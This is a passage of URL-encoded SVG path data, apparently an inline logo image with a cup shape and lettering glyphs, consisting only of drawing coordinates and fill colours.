115.848C95.0892 114.804 95.7885 113.373 95.9151 111.838L99.7472 71.2456C98.0347 70.6607 96.3064 70.2721 94.358 70.2721C90.9883 70.2708 88.2733 71.4313 85.1368 72.7737Z' fill='white'/%3E%3Cpath d='M54.9844 57.1021L55.045 57.1587L55.0845 57.1824C55.0541 57.1522 55.0205 57.1252 54.9844 57.1021Z' fill='%230D0C22'/%3E%3Cpath d='M116.299 53.7119L115.761 50.9943C115.277 48.5559 114.18 46.2519 111.677 45.3706C110.875 45.0887 109.964 44.9675 109.349 44.384C108.734 43.8004 108.552 42.8941 108.41 42.0536C108.147 40.511 107.899 38.9671 107.629 37.4272C107.396 36.1033 107.211 34.616 106.604 33.4015C105.814 31.7706 104.174 30.8169 102.543 30.1859C101.707 29.8739 100.854 29.61 99.9884 29.3955C95.9139 28.3205 91.63 27.9253 87.4382 27.7001C82.407 27.4225 77.3623 27.5061 72.343 27.9504C68.6071 28.2902 64.6723 28.7013 61.1221 29.9935C59.8245 30.4665 58.4875 31.0342 57.5008 32.0367C56.2902 33.2684 55.895 35.1733 56.7789 36.7092C57.4073 37.8 58.4717 38.5706 59.6006 39.0804C61.0711 39.7373 62.6068 40.2371 64.1822 40.5716C68.5689 41.5412 73.1124 41.9219 77.5939 42.0839C82.561 42.2844 87.5362 42.1219 92.4796 41.5978C93.7021 41.4635 94.9224 41.3023 96.1405 41.1144C97.575 40.8944 98.4958 39.0185 98.073 37.7117C97.5671 36.1494 96.2077 35.5434 94.6703 35.7792C94.4438 35.8148 94.2185 35.8477 93.9919 35.8807L93.8286 35.9044C93.3078 35.9702 92.787 36.0317 92.2662 36.0888C91.1904 36.2047 90.112 36.2996 89.0309 36.3733C86.6097 36.5419 84.1818 36.6197 81.7553 36.6236C79.371 36.6236 76.9853 36.5564 74.6062 36.3997C73.5207 36.3285 72.4379 36.2381 71.3577 36.1283C70.8663 36.0769 70.3763 36.0229 69.8862 35.9623L69.4199 35.903L69.3185 35.8886L68.835 35.8187C67.847 35.6699 66.859 35.4986 65.8816 35.2918C65.783 35.2699 65.6947 35.2151 65.6315 35.1363C65.5683 35.0575 65.5338 34.9594 65.5338 34.8584C65.5338 34.7574 65.5683 34.6594 65.6315 34.5806C65.6947 34.5018 65.783 34.4469 65.8816 34.425H65.9C66.7471 34.2445 67.6007 34.0904 68.4569 33.956C68.7424 33.9113 69.0287 33.8673 69.3158 33.8243H69.3237C69.8599 33.7887 70.3987 33.6926 70.9322 33.6293C75.574 33.1465 80.2434 32.9819 84.9077 33.1367C87.1721 33.2025 89.4353 33.3356 91.6892 33.5648C92.174 33.6149 92.6562 33.6676 93.1383 33.7268C93.3227 33.7492 93.5085 33.7756 93.6942 33.798L94.0683 33.852C95.1591 34.0144 96.2441 34.2116 97.3234 34.4435C98.9227 34.7912 100.976 34.9045 101.688 36.6566C101.914 37.2125 102.017 37.8303 102.142 38.4139L102.302 39.1581C102.306 39.1715 102.309 39.1852 102.311 39.199C102.688 40.9554 103.065 42.7118 103.442 44.4683C103.47 44.598 103.471 44.7321 103.444 44.8621C103.418 44.9921 103.365 45.1153 103.289 45.2239C103.213 45.3326 103.115 45.4244 103.002 45.4936C102.889 45.5628 102.762 45.6079 102.631 45.6262H102.62L102.39 45.6578L102.162 45.6881C101.44 45.7821 100.717 45.8699 99.9936 45.9516C98.5683 46.114 97.1408 46.2546 95.711 46.3731C92.87 46.6094 90.0233 46.7644 87.1708 46.8381C85.7174 46.8768 84.2644 46.8948 82.8118 46.8921C77.0301 46.8876 71.2534 46.5516 65.5101 45.8857C64.8883 45.8119 64.2666 45.7329 63.6448 45.6525C64.1269 45.7145 63.2944 45.6051 63.1258 45.5814C62.7306 45.5261 62.3354 45.4686 61.9402 45.4088C60.6136 45.2099 59.295 44.9649 57.9711 44.7502C56.3705 44.4867 54.8398 44.6185 53.3921 45.4088C52.2037 46.0591 51.2419 47.0564 50.6349 48.2674C50.0105 49.5584 49.8248 50.964 49.5455 52.3511C49.2662 53.7383 48.8315 55.2308 48.9962 56.6548C49.3505 59.7281 51.4991 62.2258 54.5895 62.7843C57.4968 63.3112 60.42 63.7381 63.351 64.1016C74.8648 65.5118 86.4968 65.6805 98.0466 64.6049C98.9872 64.517 99.9265 64.4213 100.864 64.3177C101.157 64.2855 101.454 64.3192 101.732 64.4165C102.01 64.5137 102.263 64.6719 102.472 64.8795C102.681 65.0872 102.842 65.339 102.941 65.6165C103.04 65.894 103.076 66.1902 103.046 66.4834L102.753 69.3261C102.164 75.0705 101.575 80.8145 100.986 86.558C100.371 92.5896 99.7521 98.6208 99.1295 104.651C98.9538 106.35 98.7782 108.048 98.6025 109.746C98.4339 111.417 98.4102 113.142 98.0927 114.794C97.5922 117.391 95.8335 118.987 93.2674 119.57C90.9164 120.105 88.5148 120.386 86.1038 120.408C83.431 120.422 80.7594 120.304 78.0866 120.318C75.2333 120.334 71.7384 120.071 69.5358 117.947C67.6007 116.082 67.3333 113.161 67.0698 110.636C66.7185 107.293 66.3703 103.95 66.0252 100.607L64.0887 82.0212L62.8359 69.9953C62.8149 69.7964 62.7938 69.6001 62.774 69.3999C62.6239 67.9654 61.6082 66.5611 60.0077 66.6335C58.6376 66.6941 57.0806 67.8586 57.2413 69.3999L58.17 78.3155L60.0906 96.7581C60.6378 101.997 61.1836 107.236 61.7281 112.476C61.8335 113.48 61.9323 114.487 62.0429 115.49C62.6449 120.976 66.834 123.932 72.0216 124.764C75.0515 125.252 78.1551 125.352 81.2297 125.402C85.1711 125.465 89.1521 125.617 93.029 124.903C98.7738 123.849 103.084 120.013 103.699 114.062C103.875 112.345 104.051 110.626 104.226 108.908C104.81 103.224 105.393 97.5397 105.976 91.855L107.88 73.2807L108.754 64.7682C108.797 64.3461 108.976 63.9492 109.262 63.6363C109.549 63.3234 109.929 63.111 110.345 63.0307C111.988 62.7105 113.558 62.1639 114.727 60.9137C116.587 58.9232 116.957 56.3281 116.299 53.7119ZM54.5052 55.5483C54.5302 55.5364 54.4841 55.7511 54.4644 55.8513C54.4604 55.6998 54.4683 55.5654 54.5052 55.5483ZM54.6646 56.7813C54.6778 56.7721 54.7173 56.8248 54.7581 56.888C54.6962 56.83 54.6567 56.7866 54.6633 56.7813H54.6646ZM54.8214 56.9881C54.878 57.0843 54.9083 57.1449 54.8214 56.9881V56.9881ZM55.1362 57.2437H55.1441C55.1441 57.2529 55.1586 57.2621 55.1639 57.2713C55.1551 57.2612 55.1454 57.2519 55.1349 57.2437H55.1362ZM110.269 56.8616C109.679 57.4228 108.789 57.6837 107.911 57.8141C98.0572 59.2763 88.06 60.0166 78.0984 59.6899C70.9691 59.4462 63.9148 58.6545 56.8566 57.6573C56.165 57.5598 55.4155 57.4334 54.9399 56.9236C54.0441 55.9619 54.4841 54.0254 54.7173 52.8636C54.9307 51.7992 55.3391 50.3804 56.605 50.2289C58.581 49.9971 60.8758 50.8309 62.8307 51.1273C65.1843 51.4865 67.5467 51.7741 69.9179 51.9902C80.0375 52.9123 90.3271 52.7687 100.402 51.4198C102.238 51.173 104.068 50.8863 105.891 50.5596C107.516 50.2684 109.316 49.7218 110.298 51.404C110.971 52.55 111.06 54.0834 110.956 55.3783C110.924 55.9425 110.678 56.4732 110.267 56.8616H110.269Z' fill='%230D0C22'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M170.036 84.2397C169.461 85.3378 168.67 86.2942 167.663 87.1057C166.656 87.9178 165.482 88.579 164.139 89.0881C162.797 89.5984 161.446 89.9408 160.088 90.1153C158.729 90.2905 157.41 90.2753 156.133 90.0674C154.854 89.8608 153.766 89.439 152.872 88.8014L153.88 78.3397C154.806 78.0216 155.972 77.6949 157.379 77.3604C158.785 77.0264 160.231 76.787 161.718 76.644C163.205 76.5004 164.61 76.5173 165.937 76.6919C167.263 76.867 168.31 77.2888 169.077 77.9579C169.493 78.3397 169.845 78.7537 170.132 79.1997C170.42 79.6458 170.595 80.1076 170.66 80.5852C170.819 81.9227 170.612 83.1409 170.036 84.2397ZM155.413 61.9545C156.084 61.5406 156.892 61.1739 157.834 60.8551C158.777 60.5376 159.744 60.3139 160.735 60.1867C161.725 60.06 162.692 60.043 163.636 60.1388C164.578 60.2345 165.41 60.497 166.129 60.9267C166.848 61.357 167.383 61.9782 167.735 62.7897C168.086 63.6024 168.182 64.6296 168.022 65.8714C167.895 66.8587 167.502 67.695 166.848 68.3793C166.193 69.0647 165.393 69.6374 164.451 70.0993C163.508 70.5617 162.509 70.9277 161.455 71.1974C160.399 71.4689 159.384 71.6683 158.41 71.795C157.435 71.9229 156.588 72.0029 155.869 72.0338C155.15 72.0659 154.678 72.0816 154.454 72.0816L155.413 61.9545ZM175.214 77.4798C174.703 76.3658 174.016 75.3864 173.153 74.5416C172.29 73.698 171.266 73.0853 170.084 72.7029C170.595 72.2889 171.099 71.6362 171.595 70.7441C172.09 69.8532 172.513 68.8811 172.865 67.8302C173.216 66.7787 173.457 65.7205 173.584 64.6533C173.711 63.5866 173.663 62.6709 173.441 61.906C172.896 59.9958 172.042 58.4988 170.875 57.4158C169.708 56.3334 168.35 55.5849 166.8 55.1704C165.249 54.7577 163.54 54.6692 161.67 54.908C159.8 55.1467 157.89 55.6164 155.941 56.317C155.941 56.1582 155.957 55.991 155.989 55.8158C156.02 55.6413 156.036 55.4576 156.036 55.2661C156.036 54.7886 155.797 54.3752 155.317 54.0243C154.838 53.674 154.287 53.4674 153.664 53.4031C153.04 53.3401 152.433 53.4746 151.841 53.8092C151.25 54.1437 150.842 54.7577 150.619 55.6479C150.363 58.5146 150.107 61.4927 149.852 64.5812C149.596 67.6708 149.324 70.792 149.037 73.9453C148.749 77.0979 148.461 80.227 148.174 83.3318C147.886 86.4372 147.598 89.4226 147.311 92.2886C147.407 93.1486 147.646 93.8177 148.03 94.2953C148.413 94.7734 148.861 95.0601 149.372 95.1553C149.883 95.251 150.419 95.1625 150.978 94.8922C151.537 94.6225 152.025 94.1516 152.441 93.4832C153.719 94.1838 155.158 94.6377 156.756 94.845C158.354 95.0516 159.975 95.0516 161.623 94.845C163.268 94.6377 164.89 94.248 166.488 93.6741C168.086 93.1013 169.541 92.3844 170.851 91.525C172.162 90.665 173.264 89.685 174.16 88.5869C175.054 87.4875 175.646 86.3014 175.933 85.0281C176.221 83.7221 176.301 82.4167 176.173 81.1106C176.045 79.8052 175.725 78.5955 175.214 77.4798Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M221.989 102.702C221.814 103.753 221.565 104.86 221.246 106.023C220.926 107.184 220.551 108.244 220.12 109.2C219.688 110.155 219.209 110.926 218.682 111.516C218.154 112.105 217.586 112.352 216.979 112.257C216.5 112.192 216.196 111.89 216.069 111.349C215.94 110.807 215.94 110.138 216.069 109.343C216.196 108.546 216.443 107.646 216.811 106.643C217.179 105.64 217.627 104.644 218.154 103.658C218.682 102.67 219.281 101.723 219.952 100.815C220.623 99.9082 221.326 99.1512 222.061 98.5464C222.221 98.7373 222.293 99.2149 222.277 99.9797C222.26 100.744 222.165 101.652 221.989 102.702ZM238.243 81.9697C237.811 81.4921 237.284 81.2218 236.66 81.1576C236.037 81.0939 235.405 81.4442 234.767 82.2085C234.351 82.9727 233.823 83.7054 233.184 84.406C232.545 85.1072 231.882 85.7436 231.195 86.3169C230.507 86.8896 229.852 87.3841 229.229 87.7975C228.606 88.212 228.118 88.5144 227.767 88.7053C227.639 87.6866 227.566 86.5878 227.551 85.409C227.534 84.2308 227.559 83.0369 227.623 81.8266C227.718 80.1067 227.918 78.3715 228.222 76.6194C228.526 74.868 228.965 73.148 229.541 71.4595C229.541 70.5686 229.332 69.8438 228.917 69.2862C228.501 68.7293 227.998 68.3784 227.407 68.2353C226.815 68.0923 226.209 68.1717 225.585 68.4741C224.962 68.7771 224.427 69.3268 223.979 70.122C223.596 71.1735 223.156 72.3516 222.661 73.6571C222.165 74.9631 221.606 76.2928 220.983 77.6461C220.359 79.0006 219.664 80.3139 218.897 81.5873C218.13 82.8618 217.291 83.9927 216.38 84.9793C215.469 85.9666 214.478 86.7393 213.408 87.2963C212.336 87.8538 211.179 88.1005 209.932 88.0369C209.356 87.8775 208.94 87.4478 208.685 86.7466C208.429 86.0466 208.277 85.1702 208.23 84.1193C208.182 83.0684 208.23 81.9139 208.373 80.6557C208.517 79.3982 208.709 78.1479 208.949 76.9061C209.188 75.6637 209.452 74.4855 209.739 73.371C210.027 72.2565 210.298 71.3165 210.554 70.5523C210.938 69.6292 210.938 68.8559 210.554 68.2353C210.171 67.6141 209.644 67.2008 208.973 66.9929C208.302 66.7863 207.598 66.7947 206.863 67.0172C206.128 67.2402 205.6 67.7335 205.281 68.4977C204.737 69.8044 204.241 71.2686 203.794 72.8928C203.347 74.5171 202.987 76.1976 202.716 77.9328C202.444 79.6691 202.291 81.3891 202.26 83.0927C202.258 83.2036 202.263 83.309 202.263 83.4193C201.566 85.2708 200.902 86.6702 200.271 87.6066C199.456 88.8174 198.536 89.3429 197.514 89.1829C197.065 88.992 196.771 88.5465 196.627 87.8453C196.482 87.1453 196.435 86.2854 196.482 85.2654C196.531 84.2472 196.651 83.0927 196.842 81.8024C197.035 80.5127 197.273 79.1752 197.561 77.7897C197.849 76.4037 198.153 75.0116 198.472 73.6098C198.792 72.2086 199.079 70.8868 199.336 69.6444C199.304 68.5299 198.976 67.6784 198.352 67.0887C197.73 66.5002 196.858 66.2693 195.74 66.396C194.973 66.7147 194.405 67.1293 194.038 67.6384C193.67 68.1474 193.374 68.8008 193.151 69.5965C193.022 70.0111 192.831 70.8389 192.575 72.0813C192.319 73.3225 191.992 74.7486 191.592 76.3564C191.193 77.9655 190.721 79.6449 190.178 81.3963C189.635 83.1478 189.027 84.7333 188.357 86.1496C187.685 87.5666 186.95 88.7053 186.151 89.5653C185.352 90.4247 184.489 90.7756 183.562 90.6162C183.05 90.5205 182.723 89.995 182.579 89.0399C182.435 88.0841 182.412 86.9066 182.507 85.5048C182.603 84.1036 182.795 82.5666 183.082 80.8951C183.37 79.223 183.665 77.6388 183.969 76.1413C184.273 74.6449 184.553 73.3225 184.809 72.1765C185.064 71.0298 185.24 70.2656 185.336 69.8838C185.336 68.9602 185.127 68.2202 184.713 67.662C184.297 67.1056 183.794 66.7547 183.202 66.6111C182.61 66.4681 182.003 66.5475 181.381 66.8499C180.757 67.1529 180.222 67.7026 179.774 68.4977C179.614 69.3577 179.406 70.3535 179.151 71.4838C178.895 72.614 178.648 73.7765 178.408 74.971C178.168 76.1655 177.944 77.3358 177.737 78.4824C177.529 79.6291 177.377 80.6321 177.281 81.4921C177.217 82.1606 177.145 82.9812 177.066 83.9521C176.985 84.9242 176.945 85.9508 176.945 87.0332C176.945 88.1169 177.025 89.1914 177.186 90.258C177.345 91.3253 177.633 92.3047 178.048 93.1956C178.463 94.0877 179.047 94.8198 179.799 95.3931C180.549 95.9664 181.5 96.2846 182.651 96.3489C183.833 96.4119 184.864 96.3252 185.744 96.0858C186.622 95.847 187.421 95.4725 188.141 94.9628C188.86 94.4543 189.515 93.8489 190.107 93.1477C190.697 92.4477 191.281 91.6835 191.856 90.855C192.4 92.0659 193.103 93.0047 193.966 93.6737C194.829 94.3422 195.74 94.741 196.699 94.8677C197.657 94.9943 198.633 94.8604 199.624 94.4616C200.614 94.064 201.509 93.3871 202.308 92.4313C202.835 91.8453 203.331 91.1792 203.797 90.4429C203.995 90.7877 204.205 91.1204 204.442 91.4277C205.225 92.4477 206.288 93.1477 207.631 93.5301C209.069 93.9125 210.474 93.9768 211.849 93.7216C213.223 93.4671 214.534 93.0047 215.78 92.3362C217.027 91.6671 218.185 90.8635 219.257 89.9235C220.327 88.9841 221.262 88.0053 222.061 86.9854C222.029 87.7181 222.013 88.4114 222.013 89.0635C222.013 89.7168 221.997 90.4247 221.966 91.1895C220.367 92.3047 218.857 93.6422 217.435 95.2022C216.012 96.7622 214.765 98.4264 213.695 100.194C212.624 101.961 211.785 103.753 211.179 105.568C210.571 107.384 210.275 109.08 210.291 110.657C210.307 112.233 210.682 113.61 211.418 114.788C212.152 115.967 213.351 116.81 215.013 117.32C216.74 117.862 218.257 117.877 219.569 117.368C220.879 116.858 222.021 116.014 222.996 114.836C223.971 113.658 224.77 112.233 225.394 110.561C226.017 108.889 226.512 107.145 226.88 105.33C227.247 103.515 227.479 101.73 227.575 99.9797C227.671 98.2276 227.671 96.6664 227.575 95.2974C230.324 94.1513 232.577 92.7022 234.335 90.9501C236.093 89.1999 237.547 87.352 238.698 85.409C239.049 84.9314 239.169 84.3581 239.058 83.6896C238.945 83.0206 238.674 82.4472 238.243 81.9697Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M298.724 78.9135C298.82 78.1814 298.964 77.4087 299.155 76.5966C299.347 75.7845 299.587 74.996 299.875 74.2318C300.162 73.4676 300.498 72.807 300.882 72.2494C301.265 71.6924 301.673 71.2943 302.104 71.0549C302.536 70.8167 302.974 70.8403 303.423 71.1264C303.902 71.4137 304.197 72.0185 304.31 72.9415C304.421 73.8663 304.31 74.853 303.974 75.9039C303.638 76.9554 303.039 77.942 302.176 78.8657C301.313 79.7899 300.146 80.3941 298.676 80.6808C298.612 80.236 298.628 79.6463 298.724 78.9135ZM315.336 80.8717C314.809 80.7135 314.306 80.6972 313.826 80.8244C313.347 80.9517 313.043 81.2862 312.916 81.8281C312.659 82.8468 312.251 83.8898 311.692 84.9565C311.133 86.0238 310.446 87.0346 309.632 87.9904C308.817 88.9455 307.897 89.7898 306.875 90.5219C305.851 91.2546 304.781 91.78 303.662 92.0982C302.543 92.4491 301.616 92.4885 300.882 92.2176C300.146 91.9479 299.563 91.4855 299.132 90.8328C298.7 90.1801 298.388 89.3916 298.197 88.468C298.005 87.5443 297.893 86.5892 297.861 85.6013C299.683 85.7292 301.305 85.4032 302.728 84.622C304.149 83.8426 305.356 82.8068 306.347 81.5171C307.337 80.2275 308.089 78.7784 308.6 77.1699C309.111 75.5621 309.399 73.9615 309.463 72.3688C309.495 70.8718 309.272 69.6064 308.792 68.5713C308.313 67.5367 307.665 66.7313 306.85 66.1586C306.036 65.5853 305.1 65.2507 304.046 65.1556C302.992 65.0598 301.92 65.2034 300.833 65.5853C299.522 66.0313 298.412 66.7555 297.501 67.7592C296.59 68.7622 295.831 69.9252 295.224 71.2464C294.617 72.5682 294.137 73.993 293.786 75.5215C293.434 77.0505 293.178 78.5554 293.019 80.0366C292.875 81.3656 292.798 82.6365 292.771 83.8632C292.702 84.0189 292.636 84.1686 292.563 84.3353C292.067 85.4668 291.491 86.5734 290.837 87.6558C290.182 88.7389 289.454 89.6467 288.656 90.3788C287.857 91.1116 287.026 91.3661 286.163 91.1431C285.651 91.0164 285.372 90.4261 285.324 89.3758C285.276 88.3243 285.331 87.0189 285.491 85.4583C285.651 83.8983 285.835 82.2093 286.043 80.3941C286.25 78.579 286.354 76.8439 286.354 75.1875C286.354 73.7542 286.082 72.3773 285.539 71.0549C284.995 69.7343 284.252 68.6349 283.31 67.7592C282.367 66.8828 281.272 66.3016 280.026 66.0156C278.779 65.7283 277.437 65.9198 275.999 66.5883C274.56 67.2574 273.417 68.1967 272.571 69.407C271.723 70.6179 270.948 71.8912 270.245 73.2288C269.989 72.2094 269.614 71.2628 269.118 70.3864C268.623 69.5107 268.016 68.7464 267.297 68.0931C266.577 67.441 265.769 66.9313 264.876 66.5646C263.981 66.1992 263.037 66.0156 262.046 66.0156C261.088 66.0156 260.201 66.1992 259.386 66.5646C258.571 66.9313 257.828 67.4004 257.156 67.9737C256.485 68.5476 255.878 69.1919 255.334 69.9088C254.791 70.6252 254.311 71.3343 253.896 72.0343C253.831 71.2064 253.76 70.4822 253.681 69.8603C253.6 69.2398 253.456 68.7143 253.249 68.2846C253.041 67.8543 252.746 67.5283 252.362 67.3052C251.978 67.0828 251.435 66.9707 250.732 66.9707C250.38 66.9707 250.028 67.0422 249.677 67.1852C249.325 67.3289 249.013 67.5283 248.742 67.7828C248.47 68.0386 248.263 68.3482 248.119 68.7143C247.975 69.0804 247.936 69.5028 247.999 69.9803C248.031 70.3312 248.119 70.7525 248.263 71.2464C248.406 71.7403 248.542 72.3858 248.67 73.1809C248.798 73.9773 248.902 74.9409 248.982 76.0712C249.062 77.2021 249.085 78.5875 249.054 80.2275C249.021 81.8681 248.902 83.7862 248.694 85.9837C248.486 88.1813 248.158 90.7291 247.711 93.6267C247.647 94.2957 247.903 94.8376 248.479 95.2515C249.054 95.6648 249.709 95.9036 250.444 95.9678C251.179 96.0315 251.875 95.9036 252.53 95.586C253.185 95.2666 253.561 94.7097 253.656 93.9139C253.752 92.417 253.936 90.8249 254.208 89.1364C254.479 87.4492 254.815 85.7771 255.215 84.1207C255.614 82.465 256.069 80.8887 256.581 79.3911C257.092 77.8942 257.66 76.573 258.283 75.4263C258.907 74.2797 259.554 73.3645 260.225 72.6797C260.896 71.9949 261.599 71.6524 262.335 71.6524C263.229 71.6524 263.924 72.0579 264.42 72.87C264.915 73.6827 265.266 74.7263 265.475 75.999C265.682 77.2736 265.778 78.6675 265.763 80.1796C265.746 81.6923 265.682 83.1492 265.571 84.5504C265.459 85.9522 265.331 87.2019 265.187 88.3007C265.043 89.3995 264.939 90.1564 264.876 90.5697C264.876 91.3025 265.155 91.8831 265.714 92.3134C266.273 92.743 266.896 92.9982 267.584 93.0776C268.272 93.1576 268.918 93.0297 269.526 92.6952C270.133 92.3606 270.485 91.7964 270.581 90.9994C270.9 88.7067 271.34 86.4062 271.899 84.0971C272.458 81.7881 273.098 79.7184 273.817 77.8869C274.536 76.0554 275.335 74.5585 276.214 73.3961C277.093 72.2343 278.028 71.6524 279.019 71.6524C279.53 71.6524 279.922 72.0033 280.193 72.7033C280.465 73.4039 280.601 74.3591 280.601 75.5694C280.601 76.4615 280.529 77.3772 280.386 78.3166C280.241 79.256 280.074 80.2275 279.882 81.2305C279.69 82.2341 279.522 83.2608 279.378 84.3117C279.235 85.3632 279.163 86.4613 279.163 87.608C279.163 88.4043 279.243 89.3279 279.403 90.3788C279.562 91.4291 279.865 92.4255 280.313 93.3642C280.761 94.3042 281.376 95.1 282.16 95.7527C282.943 96.4054 283.941 96.7321 285.155 96.7321C286.978 96.7321 288.591 96.3418 289.998 95.5618C291.404 94.7818 292.611 93.763 293.618 92.5049C293.67 92.4388 293.718 92.3685 293.769 92.3031C293.846 92.4891 293.914 92.6861 294.001 92.863C294.688 94.2642 295.623 95.3466 296.806 96.1115C297.988 96.8757 299.379 97.2975 300.978 97.3775C302.575 97.4563 304.317 97.1618 306.204 96.4933C307.609 95.9836 308.832 95.3466 309.871 94.5824C310.909 93.8182 311.844 92.8867 312.675 91.7879C313.507 90.6891 314.265 89.4231 314.953 87.9904C315.641 86.5565 316.335 84.9171 317.038 83.0692C317.166 82.5608 317.046 82.1068 316.679 81.7081C316.311 81.3105 315.864 81.0317 315.336 80.8717Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M341.393 75.5432C341.233 76.4832 341.018 77.5189 340.746 78.6486C340.474 79.7795 340.131 80.9498 339.715 82.1601C339.3 83.3703 338.788 84.4612 338.181 85.4321C337.574 86.4042 336.878 87.1757 336.096 87.7491C335.312 88.3224 334.41 88.5612 333.387 88.4654C332.875 88.4024 332.483 88.0521 332.212 87.4145C331.94 86.7782 331.797 85.9655 331.78 84.9782C331.764 83.9915 331.852 82.9085 332.044 81.7298C332.236 80.5522 332.531 79.3971 332.932 78.2662C333.331 77.1365 333.818 76.0929 334.393 75.1371C334.969 74.182 335.632 73.4414 336.383 72.916C337.134 72.3905 337.958 72.1445 338.852 72.1754C339.747 72.2075 340.706 72.6529 341.729 73.5129C341.664 73.9275 341.553 74.6044 341.393 75.5432ZM358.437 79.1977C357.941 78.9431 357.43 78.888 356.903 79.031C356.376 79.174 356 79.6601 355.777 80.488C355.649 81.3801 355.361 82.4304 354.914 83.6406C354.466 84.8509 353.914 85.9982 353.26 87.08C352.604 88.163 351.853 89.063 351.006 89.7793C350.159 90.4963 349.256 90.823 348.298 90.7581C347.498 90.6951 346.938 90.289 346.62 89.5406C346.299 88.7921 346.132 87.8533 346.116 86.7218C346.099 85.5921 346.212 84.3182 346.451 82.9007C346.691 81.4837 346.979 80.0746 347.314 78.6722C347.65 77.2716 347.994 75.9256 348.346 74.6359C348.697 73.3463 348.984 72.2554 349.209 71.3639C349.464 70.5675 349.384 69.8912 348.969 69.333C348.553 68.7766 348.034 68.3778 347.411 68.1391C346.787 67.9003 346.155 67.8366 345.516 67.9481C344.877 68.0597 344.462 68.4021 344.27 68.9748C342.384 67.3506 340.57 66.4748 338.829 66.3476C337.086 66.2203 335.48 66.6027 334.01 67.4942C332.539 68.3857 331.237 69.6754 330.103 71.3639C328.968 73.0523 328.049 74.8911 327.345 76.8814C326.642 78.8716 326.203 80.9025 326.027 82.9722C325.851 85.0424 325.987 86.9297 326.435 88.6333C326.883 90.3369 327.673 91.7308 328.808 92.8126C329.942 93.8956 331.485 94.4375 333.435 94.4375C334.298 94.4375 335.129 94.2623 335.928 93.912C336.726 93.5611 337.462 93.1472 338.133 92.6696C338.804 92.192 339.395 91.6902 339.908 91.1648C340.418 90.6393 340.818 90.2018 341.106 89.8509C341.329 90.9975 341.697 91.9696 342.209 92.7654C342.719 93.5611 343.303 94.215 343.958 94.7235C344.613 95.2326 345.301 95.6071 346.02 95.8465C346.739 96.0853 347.435 96.2047 348.105 96.2047C349.608 96.2047 351.013 95.695 352.325 94.6756C353.635 93.6575 354.81 92.4066 355.849 90.926C356.887 89.4448 357.743 87.8848 358.413 86.2442C359.085 84.6043 359.532 83.1473 359.756 81.8728C359.98 81.3952 359.939 80.894 359.636 80.3686C359.332 79.8431 358.933 79.4534 358.437 79.1977Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M444.738 105.571C444.467 106.653 444.043 107.57 443.467 108.318C442.892 109.066 442.173 109.456 441.31 109.489C440.767 109.52 440.351 109.233 440.063 108.629C439.776 108.023 439.576 107.243 439.464 106.288C439.352 105.332 439.304 104.265 439.32 103.087C439.336 101.909 439.384 100.746 439.464 99.5996C439.543 98.4536 439.64 97.3857 439.752 96.3991C439.863 95.4112 439.951 94.6482 440.015 94.1064C441.102 94.2336 442.006 94.7027 442.724 95.5154C443.443 96.3275 443.995 97.2906 444.378 98.4057C444.762 99.5202 444.985 100.723 445.05 102.012C445.113 103.302 445.009 104.488 444.738 105.571ZM427.382 105.571C427.111 106.653 426.687 107.57 426.112 108.318C425.537 109.066 424.817 109.456 423.954 109.489C423.411 109.52 422.996 109.233 422.708 108.629C422.42 108.023 422.22 107.243 422.109 106.288C421.996 105.332 421.948 104.265 421.965 103.087C421.98 101.909 422.028 100.746 422.109 99.5996C422.188 98.4536 422.284 97.3857 422.396 96.3991C422.508 95.4112 422.595 94.6482 422.66 94.1064C423.746 94.2336 424.65 94.7027 425.368 95.5154C426.088 96.3275 426.639 97.2906 427.023 98.4057C427.407 99.5202 427.63 100.723 427.694 102.012C427.757 103.302 427.653 104.488 427.382 105.571ZM409.572 78.4375C409.539 79.2011 409.467 79.8781 409.355 80.4672C409.243 81.0575 409.092 81.4308 408.9 81.5902C408.548 81.3987 408.116 80.906 407.605 80.109C407.094 79.3133 406.695 78.4127 406.406 77.4096C406.119 76.4066 406.03 75.42 406.143 74.4479C406.254 73.477 406.758 72.7212 407.653 72.1788C408.004 71.9879 408.308 72.0594 408.564 72.394C408.82 72.7285 409.027 73.2139 409.188 73.8509C409.347 74.4885 409.458 75.2206 409.523 76.0485C409.587 76.8769 409.603 77.6727 409.572 78.4375ZM405.328 87.9677C404.832 88.4925 404.28 88.9464 403.674 89.3289C403.066 89.7113 402.443 89.9979 401.804 90.1889C401.164 90.3804 400.589 90.4276 400.078 90.3319C398.64 90.0458 397.537 89.424 396.77 88.4689C396.003 87.5137 395.515 86.3913 395.308 85.1017C395.1 83.8114 395.123 82.4338 395.38 80.969C395.635 79.5042 396.066 78.143 396.674 76.8848C397.281 75.6266 398.017 74.5436 398.879 73.6364C399.742 72.7285 400.685 72.1637 401.708 71.94C401.324 73.5642 401.197 75.2448 401.324 76.98C401.452 78.7157 401.868 80.3478 402.571 81.8762C403.018 82.8011 403.554 83.6441 404.177 84.4083C404.801 85.1732 405.56 85.8259 406.455 86.3671C406.199 86.9089 405.823 87.4422 405.328 87.9677ZM458.378 78.9151C458.474 78.183 458.617 77.4096 458.81 76.5975C459.001 75.786 459.241 74.9976 459.528 74.2333C459.816 73.4685 460.152 72.8079 460.536 72.2509C460.92 71.694 461.326 71.2952 461.758 71.0564C462.19 70.8176 462.629 70.8413 463.076 71.1279C463.556 71.4152 463.851 72.02 463.963 72.943C464.075 73.8673 463.963 74.8539 463.628 75.9054C463.292 76.9563 462.693 77.9436 461.83 78.8666C460.968 79.7914 459.8 80.3957 458.33 80.6823C458.266 80.2369 458.282 79.6478 458.378 78.9151ZM477.7 78.9151C477.796 78.183 477.939 77.4096 478.131 76.5975C478.323 75.786 478.563 74.9976 478.851 74.2333C479.138 73.4685 479.473 72.8079 479.857 72.2509C480.241 71.694 480.649 71.2952 481.08 71.0564C481.512 70.8176 481.951 70.8413 482.398 71.1279C482.878 71.4152 483.173 72.02 483.285 72.943C483.397 73.8673 483.285 74.8539 482.95 75.9054C482.614 76.9563 482.015 77.9436 481.152 78.8666C480.289 79.7914 479.122 80.3957 477.652 80.6823C477.588 80.2369 477.604 79.6478 477.7 78.9151ZM495.655 81.7096C495.287 81.312 494.84 81.0332 494.313 80.8732C493.785 80.7144 493.282 80.6987 492.802 80.826C492.323 80.9532 492.018 81.2878 491.891 81.829C491.635 82.8484 491.228 83.8914 490.669 